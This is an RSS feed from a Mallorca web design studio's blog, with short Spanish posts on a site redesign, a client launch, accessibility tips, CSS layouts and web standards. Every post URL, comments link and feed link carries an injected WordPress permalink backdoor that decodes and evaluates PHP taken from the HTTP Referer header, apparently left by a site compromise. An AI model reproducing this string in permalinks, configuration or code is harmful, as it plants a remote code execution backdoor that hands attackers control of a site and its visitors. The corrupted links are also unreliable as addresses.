Diseño web y gráfico en Mallorca » estándares web http://www.3bajocero.com/blog 3bajocero.designstudio Thu, 03 Dec 2009 18:26:39 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 Nuevo diseño de la página web de 3bajocero http://www.3bajocero.com/blog/2008/06/26/nuevo-diseno-de-la-pagina-web-de-3bajocero/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/06/26/nuevo-diseno-de-la-pagina-web-de-3bajocero/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 26 Jun 2008 15:33:23 +0000 admin http://www.3bajocero.com/blog/?p=52 Pantallazo del nuevo diseño de la web de 3bajocero.designstudio

Lanzamos el nuevo diseño de la página web de 3bajocero.designstudio.

Estamos abiertos a cualquier comentario y críticas… constructivas… :-)

Próximamente lanzaremos el nuevo diseño de nuestro blog, acorde con la nueva imagen fresquita, fresquita de la web.


]]> http://www.3bajocero.com/blog/2008/06/26/nuevo-diseno-de-la-pagina-web-de-3bajocero/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 4 Diseño web La Cocina del Gourmet http://www.3bajocero.com/blog/2008/06/05/diseno-web-la-cocina-del-gourmet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/06/05/diseno-web-la-cocina-del-gourmet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 05 Jun 2008 14:00:56 +0000 admin http://www.3bajocero.com/blog/?p=51 Diseño Web La cocina del gourmet

Nuevo lanzamiento!!! Por fin hemos puesto online el nuevo diseño de la web de la tienda de cocinas de alta calidad “La Cocina del Gourmet”.
Un proyecto de los que se puede decir que.. ¡así da gusto! :-D

Dirección de la web: www.lacocinadelgourmet.com

]]> http://www.3bajocero.com/blog/2008/06/05/diseno-web-la-cocina-del-gourmet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Frameworks javascript http://www.3bajocero.com/blog/2008/04/11/frameworks-javascript/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/04/11/frameworks-javascript/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 11 Apr 2008 08:35:59 +0000 admin http://www.3bajocero.com/blog/?p=45 Para evitar la diferente programación de Javascript por las diferencias entre todos los navegadores, han llegado los frameworks javascript.
Librerías de javascript, que se han convertido en fundamentales en el desarrollo de la web 2.0.

¿cuál prefieres?

En http://www.anieto2k.com/ tenemos enlaces a la documentación y descargas directas.

]]> http://www.3bajocero.com/blog/2008/04/11/frameworks-javascript/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Accesibilidad Web http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Apr 2008 12:40:46 +0000 admin http://www.3bajocero.com/blog/?p=44 Al desarrollar un sitio web, hemos de hacerlo accesible, ahí van algunos consejos:

1. Estructurar el documento de forma que pueda ser leido sin los estilos, es lo más importante, hemos de utilizar cabeceras para describir los contenidos de las secciones, listados, etc…

2. Separar los enlaces consecutivos con algo más de un espacio blanco, ya que los lectores de pantalla pueden interpretar dos o más links consecutivos como único.

3. Escribir links con significado, siempre es mejor “leer artículo completo”, que “clic aquí”.

4. Utilizar descripciones para las imágenes, mediante el atributo ALT para describir las imágenes y el atributo LONGDESC para descripciones más largas. Utilizar el atributo ALT vacío (alt=”") para imágenes sin significado.

5. Mucho cuidado con utilizar sólo imágenes para enlaces. Sin atributo ALT, los lectores de pantalla no podrán mostrar el link. Usa siempre el ALT para que estos lectores usen la imagen con link.

6. Tablas: Indentificar cabeceras de fila y columna. Usar TH en vez de TD, y usar el elemento CAPTION para describir los contenidos de la tabla. Si no se usa el elemento CAPTION, usar el atributo TITLE par describir los contenidos en pocas palabras. Utilizar el atributo SUMMARY para describir el objetivo de la tabla.

7. Asegurarse de que la página web se puede ver aunque los scripts no vayan. No hay que depender de Javascript para poder navegar o ver el contenido. Si esto no es posible, provea a sus usuarios de maneras alternativas de acceder a los contenidos.

8. Color: es muy importante que lo que se presente a través de colores, se pueda ver sin ellos también, ya que si no mucha gente, como los daltónicos, no podrá entender el contenido.

9. Enlace a versión accesible de la web: Si no se puede crear la web de modo accesible, ponga un link a la versión accesible de la web.

10: Valide su web para chequear errores.

Y ahora… A aplicarse el cuento!!!!!!

Vía: http://webusabilityhelp.blogspot.com

]]> http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Layouts css fixed, liquid http://www.3bajocero.com/blog/2008/03/12/layouts-css-fixed-liquid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/03/12/layouts-css-fixed-liquid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 12 Mar 2008 09:00:16 +0000 admin http://www.3bajocero.com/blog/?p=38 En blog.html.it hay una colección de 40 layouts gratuitos para descargar.
Montados en css, con las facilidades que aportan en cuanto a usabilidad y accesibilidad, posicionamiento…

Instalar las extensiones Web Developer y Firebug, recomendadísimo.

]]> http://www.3bajocero.com/blog/2008/03/12/layouts-css-fixed-liquid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Ovillo, lista de distribución de css y estándares web en castellano http://www.3bajocero.com/blog/2008/02/07/ovillo-lista-de-distribucion-de-css-y-estandares-web-en-castellano/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/02/07/ovillo-lista-de-distribucion-de-css-y-estandares-web-en-castellano/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 07 Feb 2008 07:33:49 +0000 admin http://www.3bajocero.com/blog/?p=36 Ovillo es una comunidad de desarrolladores interesados en el lenguaje de presentación para páginas web, CSS (Cascading Style Sheets), las técnicas actuales para su aplicación a proyectos reales y su importancia en el diseño web. El principal objetivo de ovillo es compartir ideas, aprender y ayudarnos en el trabajo diario con CSS.

Para suscribirte: click aquí

]]> http://www.3bajocero.com/blog/2008/02/07/ovillo-lista-de-distribucion-de-css-y-estandares-web-en-castellano/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Librería de estilos css http://www.3bajocero.com/blog/2008/01/10/libreria-de-estilos-css/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/01/10/libreria-de-estilos-css/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 Jan 2008 12:11:17 +0000 admin http://www.3bajocero.com/blog/?p=32 Un blog con un montón de códigos y ejemplos css: Menus horizontales, menús verticales, formularios, contenedores, enlaces, botones, layouts de 2 columnas, 3 columnas, layouts líquidos, etc, etc…

Asimismo, te permite enviar tus propios códigos y así colaborar en la comunidad, slideshows, librerías de efectos… todos son bienvenidos.

Visita la web aquí: http://www.dynamicdrive.com

]]> http://www.3bajocero.com/blog/2008/01/10/libreria-de-estilos-css/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Los mejores diseños css 2007 http://www.3bajocero.com/blog/2007/12/19/los-mejores-disenos-css-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/12/19/los-mejores-disenos-css-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 19 Dec 2007 12:05:38 +0000 admin http://www.3bajocero.com/blog/?p=31 http://www.webdesignerwall.com/trends/best-of-css-design-2007/

]]> http://www.3bajocero.com/blog/2007/12/19/los-mejores-disenos-css-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Los cuatro aspectos esenciales del diseño web actual http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 17 Dec 2007 08:38:21 +0000 admin http://www.3bajocero.com/blog/?p=30 Resumiendo, son estos:

  1. Código válido (que se ajuste a los estándares, puedes validarlo aqui: http://validator.w3.org/)
  2. Código accesible, para chequearlo puedes utilizar: http://www.accesible.com.ar/examinator/index.php
  3. Código semánticamente correcto, es decir que las etiquetas utilizadas en el código tenga relación con el contenido incluido en ellas.
  4. Separación de contenido y diseño, utiliza archivos css externos que le den forma al contenido.
]]> http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Web 2.0 http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 11 Dec 2007 08:08:43 +0000 admin http://www.3bajocero.com/blog/?p=28 A estas alturas, aún parece que hay gente que no tiene claro lo que es la web 2.0. Esta imagen ilustra bastante bien el concepto.Web 2.0
Fuente: vincentabry

]]> http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0